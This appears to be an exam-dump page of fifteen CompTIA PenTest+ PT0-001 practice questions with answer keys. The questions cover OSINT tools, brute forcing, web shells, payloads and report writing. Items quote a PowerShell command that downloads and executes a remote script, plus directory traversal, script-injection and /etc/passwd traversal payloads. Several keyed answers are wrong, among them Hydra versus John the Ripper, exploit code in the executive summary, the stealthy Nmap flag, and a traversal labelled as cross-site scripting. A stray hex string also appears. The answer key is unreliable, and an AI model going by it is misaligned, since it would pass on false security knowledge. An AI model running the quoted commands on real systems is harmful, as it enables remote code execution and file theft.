CompTIA PT0-001 Exam Dumps

CompTIA PT0-001 Sample Question Answers

CompTIA PT0-001 Sample Questions

Question # 1

When negotiating a penetration testing contract with a prospective client, which of thefollowing disclaimersshould be included in order to mitigate liability in case of a future breach of the client’ssystems?

A. The proposed mitigations and remediations in the final report do not include a costbenefit analysis. 
B. The NDA protects the consulting firm from future liabilities in the event of a breach. 
C. The assessment reviewed the cyber key terrain and most critical assets of the client’snetwork. 
D. The penetration test is based on the state of the system and its configuration at the timeof assessment. 

Answer: D

Show Answer

Question # 2

Which of the following tools would a penetration tester leverage to conduct OSINT? (SelectTWO).

A. Shodan 
B. SET 
C. BeEF 
D. Wireshark 
E. Maltego 
F. Dynamo 

Answer: A,E

Show Answer

Question # 3

Which of the following tools is used to perform a credential brute force attack?

A. Hydra 
B. John the Ripper 
C. Hashcat 
D. Peach 

Answer: B

Show Answer

Question # 4

A penetration tester used an ASP.NET web shell to gain access to a web application,which allowed the testerto pivot in the corporate network. Which of the following is the MOST important follow-upactivity to completeafter the tester delivers the report?

A. Removing shells 
B. Obtaining client acceptance 
C. Removing tester-created credentials 
D. Documenting lessons learned 
E. Presenting attestation of findings 

Answer: E

Show Answer

Question # 5

A client needs to be PCI compliant and has external-facing web servers. Which of the following CVSSvulnerability scores would automatically bring the client out of compliance standards such as PCI 3.x?

A. 2.9 
B. 3.0 
C. 4.0 
D. 5.9 

Answer: C

Show Answer

Question # 6

During a physical security review, a detailed penetration testing report was obtained, whichwas issued to asecurity analyst and then discarded in the trash. The report contains validated critical riskexposures. Which ofthe following processes would BEST protect this information from being disclosed in thefuture?

A. Restrict access to physical copies to authorized personnel only. 
B. Ensure corporate policies include guidance on the proper handling of sensitiveinformation. 
C. Require only electronic copies of all documents to be maintained. 
D. Install surveillance cameras near all garbage disposal areas. 

Answer: B

Show Answer

Question # 7

A penetration tester needs to provide the code used to exploit a DNS server in the finalreport. In which of thefollowing parts of the report should the penetration tester place the code?

A. Executive summary 
B. Remediation 
C. Conclusion 
D. Technical summary 

Answer: A

Show Answer

Question # 8

Consider the following PowerShell command:powershell.exe IEX (New-Object Net.Webclient).downloadstring(http://site/script.ps1”);Invoke-CmdletWhich of the following BEST describes the actions performed this command?

A. Set the execution policy 
B. Execute a remote script 
C. Run an encoded command 
D. Instantiate an object 

Answer: B

Show Answer

Question # 9

Given the following Python script:#1/usr/bin/pythonimport socket as sktfor port in range (1,1024):try:sox=skt.socket(skt.AF.INET,skt.SOCK_STREAM)sox.settimeout(1000)sox.connect ((‘127.0.0.1’, port))print ‘%d:OPEN’ % (port)sox.closeexcept: continueWhich of the following is where the output will go?

A. To the screen 
B. To a network server 
C. To a file 
D. To /dev/null 

Answer: A

Show Answer

Question # 10

A penetration tester has gained physical access to a facility and connected directly into theinternal network.The penetration tester now wants to pivot into the server VLAN. Which of the followingwould accomplish this?

A. Spoofing a printer’s MAC address 
B. Abusing DTP negotiation 
C. Performing LLMNR poisoning 
D. Conducting an STP attack 

Answer: D

Show Answer

Question # 11

A vulnerability scan report shows what appears to be evidence of a memory disclosurevulnerability on one ofthe target hosts. The administrator claims the system is patched and the evidence is a falsepositive. Which ofthe following is the BEST method for a tester to confirm the vulnerability exists?

A. Manually run publicly available exploit code. 
B. Confirm via evidence of the updated version number. 
C. Run the vulnerability scanner again. 
D. Perform dynamic analysis on the vulnerable service. 

Answer: C

Show Answer

Question # 12

A penetration tester has identified a directory traversal vulnerability. Which of the followingpayloads could havehelped the penetration tester identify this vulnerability?

A. ‘or ‘folder’ like ‘file’; –– 
B. || is /tmp/ 
C. “><script>document.location=/root/</script> 
D. && dir C:/ 
E. ../../../../../../../../ 

Answer: E

Show Answer

Question # 13

The scope of a penetration test requires the tester to be stealthy when performing portscans. Which of the following commands with Nmap BEST supports stealthy scanning?

A. ––min-rate 
B. ––max-length 
C. ––host-timeout 
D. ––max-rate D18912E1457D5D1DDCBD40AB3BF70D5D 

Answer: C

Show Answer

Question # 14

A penetration tester is planning to conduct a distributed dictionary attack on a governmentdomain against thelogin portal. The tester will leverage multiple proxies to mask the origin IPs of the attack.Which of the followingthreat actors will be emulated?

A. APT 
B. Hacktivist 
C. Script kiddie 
D. Insider threat 

Answer: A

Show Answer

Question # 15

A security analyst has uncovered a suspicious request in the logs for a web application.Given the following URL:http:www.company-site.com/about.php?i=_V_V_V_V_VetcVpasswdWhich of the following attack types is MOST likely to be the vulnerability?

A. Directory traversal 
B. Cross-site scripting 
C. Remote file inclusion 
D. User enumeration 

Answer: B

Show Answer